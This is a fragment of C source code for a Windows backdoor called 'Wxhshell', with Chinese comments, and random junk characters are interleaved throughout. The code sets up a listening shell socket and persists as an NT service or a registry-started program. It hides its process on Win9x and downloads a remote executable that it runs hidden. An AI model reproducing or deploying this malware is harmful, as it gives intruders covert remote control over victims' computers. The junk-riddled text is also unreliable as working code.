6J{|C YNdrWBf) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z,SYw &S if(!hProcess) return 0; Aj>[z8!, }GwVKAjP if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ka!I`Yf I<oL}f CloseHandle(hProcess); >`RRP}u=u Ut@RGg+f8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >H][.@LyR if(hProcess==NULL) return 0; "8 )z=n f>j wN@( HMODULE hMod; j V3)2C} char procName[255]; h!@,8y[B unsigned long cbNeeded; JtKp(k& kh$_!BT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
g\fhp{gWB ;!>Wz9 CloseHandle(hProcess); R{YzH56M a
dfR!&J if(strstr(procName,"services")) return 1; // 以服务启动 ,U,By~s C]u',9, return 0; // 注册表启动 9' 1B/{ } E\7m<'R Rg&-0b // 主模块 )}v3q6?_ int StartWxhshell(LPSTR lpCmdLine) ,$*IzL~ { )EM7,xMz SOCKET wsl; eP1nUy=T BOOL val=TRUE; 5/><$06rq int port=0; ^?"\?M1 struct sockaddr_in door; cV
K7 0rSIfYZa if(wscfg.ws_autoins) Install(); 4Aes#{R3v ^y.nDs%ZT7 port=atoi(lpCmdLine); C2U~=q>> rt-\g1x if(port<=0) port=wscfg.ws_port; BcWcdr+}9 `bI)<B WSADATA data; F4#g?R::U if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YB))S!;Ok x+5p1sv6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o?Nu:&yE setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +Lm4kA+aE5 door.sin_family = AF_INET; 'Ye v}QM door.sin_addr.s_addr = inet_addr("127.0.0.1"); rsNf$v-* door.sin_port = htons(port); J:dof:q 0X|_^"! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =v~1qWX closesocket(wsl); AnsjmR:Jv return 1; _;9! } &-l8n^ |[xi/Q^7 if(listen(wsl,2) == INVALID_SOCKET) { }-p[V$:S closesocket(wsl); gT+Bhr return 1; =s97Z- } 1MsWnSvzf Wxhshell(wsl); '!h/B;*( WSACleanup(); qem(s</: u^W2UE\ return 0; _, AzJ^ v5ur&egVs } []W;t\h * A|-KKo\ // 以NT服务方式启动 W`rNBfG> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #G]! % { OKOu`Hz@ DWORD status = 0; yoe}$f4 DWORD specificError = 0xfffffff; imL_lw^? r`\A
nT? serviceStatus.dwServiceType = SERVICE_WIN32; mg:!4O$K serviceStatus.dwCurrentState = SERVICE_START_PENDING; iTo k[uJ} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5~
' Ie<Y_ serviceStatus.dwWin32ExitCode = 0; *ZSdl0e serviceStatus.dwServiceSpecificExitCode = 0; A~(l{g serviceStatus.dwCheckPoint = 0; 2(!fg4#+ serviceStatus.dwWaitHint = 0; zdun,`6 #Doq P: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SjEAuRDvUz if (hServiceStatusHandle==0) return; |+IZS/W" ,1{Ep` status = GetLastError(); hqSJ(gs{ if (status!=NO_ERROR) 4 {GU6v)f { eLD?jTi' serviceStatus.dwCurrentState = SERVICE_STOPPED; t=euE{c serviceStatus.dwCheckPoint = 0; Kr`]_m serviceStatus.dwWaitHint = 0; 4pU>x$3$ serviceStatus.dwWin32ExitCode = status; D<{{ :7n serviceStatus.dwServiceSpecificExitCode = specificError; !G5a*8] SetServiceStatus(hServiceStatusHandle, &serviceStatus); &F$:Q:* * return; &:B<Q$g# } B#%;Qc 8[%Ao/m serviceStatus.dwCurrentState = SERVICE_RUNNING; qa >Ay|92e serviceStatus.dwCheckPoint = 0; 7cg*|E@ serviceStatus.dwWaitHint = 0; 7sNw if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1YxgR}7 } H&}ipaDO 'BMy8 // 处理NT服务事件,比如:启动、停止 %WFu<^jm VOID WINAPI NTServiceHandler(DWORD fdwControl) S*)1|~pRvQ { E N^Uki` switch(fdwControl) RuW!*LI { |dE
-^"_ case SERVICE_CONTROL_STOP: >cmE
t serviceStatus.dwWin32ExitCode = 0; !|?e7u7 serviceStatus.dwCurrentState = SERVICE_STOPPED; G28O%jD? serviceStatus.dwCheckPoint = 0; _>o-UBb4]T serviceStatus.dwWaitHint = 0; w2(guL($ { 6$ Q,Y}j SetServiceStatus(hServiceStatusHandle, &serviceStatus); h( QYxI,| } ITuq/qts]A return; cF T 9Lnz case SERVICE_CONTROL_PAUSE: {4 >mc'dv serviceStatus.dwCurrentState = SERVICE_PAUSED; nx":"LFI break; v0*N)eqDGd case SERVICE_CONTROL_CONTINUE: %!Q`e79g8 serviceStatus.dwCurrentState = SERVICE_RUNNING; s=I'e/"7 break; \g)Xt?w0Wo case SERVICE_CONTROL_INTERROGATE: bBxw#_3A?E break; G`=r^$.3WB }; 9<CG s3\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); "v*8_El } 1[nG} ]Al;l*yw // 标准应用程序主函数 ,FQdtNMap int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0IM8 { "R
#k~R }S_oH9A // 获取操作系统版本 w[Gh+L30=5 OsIsNt=GetOsVer(); 72oWhX=M% GetModuleFileName(NULL,ExeFile,MAX_PATH); 1m<RwI3s qUF'{K // 从命令行安装 eKZ%2|+j!7 if(strpbrk(lpCmdLine,"iI")) Install(); v*hRz; .]4W!])9 // 下载执行文件 RWq{Ff}Hk if(wscfg.ws_downexe) { /G{_7cb if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jwn AW}= WinExec(wscfg.ws_filenam,SW_HIDE); 3M*Bwt;F_ } }w-wSkl1 TTNkr` if(!OsIsNt) { 8
}'|]JK // 如果时win9x,隐藏进程并且设置为注册表启动 3.
WF}8 HideProc(); 8U2dcx:G3 StartWxhshell(lpCmdLine); VU|dV\> } j|.} I else V)o,1
if(StartFromService()) \J^ // 以服务方式启动 2+8#H. StartServiceCtrlDispatcher(DispatchTable); y9Y1PH7G else ]bCq=6ZKR // 普通方式启动 ]
7;f?+ StartWxhshell(lpCmdLine); .?C%1a&_l nCg66-3A return 0; EEy$w1ec }
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